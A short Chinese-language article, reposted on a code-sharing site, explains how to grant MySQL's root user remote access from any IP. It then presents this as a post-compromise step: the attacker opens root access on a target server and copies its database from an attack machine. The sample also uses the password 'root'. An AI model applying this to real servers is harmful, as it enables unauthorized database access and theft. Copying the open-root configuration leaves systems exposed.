開啟mysql外部訪問(root外連)


MySQL外部訪問

mysql 默認是禁止遠程連接的,你在安裝mysql的系統行運行mysql -u root -p 后進入mysql
輸入如下:
mysql>use mysql;
mysql>GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTION;
mysql>flush privileges;

 

提權的時候,如果遇到了服務器開啟了3306 端口,但是不允許root外鏈的情況,
我們可以在shell里面執行如下的語句來開啟root用戶的外連,方便我們提權。

GRANT ALL PRIVILEGES ON *.* TO ‘root’@'%’ IDENTIFIED BY ‘rootpassword’ WITH GRANT OPTION;


ps:rootpassword是root用戶的密碼;代碼中的“%”表示任何IP地址,如果你的IP地址固定,可以把%換成你的IP地址。

然后我們開啟了mysql外連,就可以在攻擊機上連接到目標機的mysql數據庫
以下是我的演示,其中192.168.0.102是目標主機,sqltest是目標主機上的一個數據庫,我們可以對目標主機的數據庫進行外部連接,可以對它進行數據庫備份。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM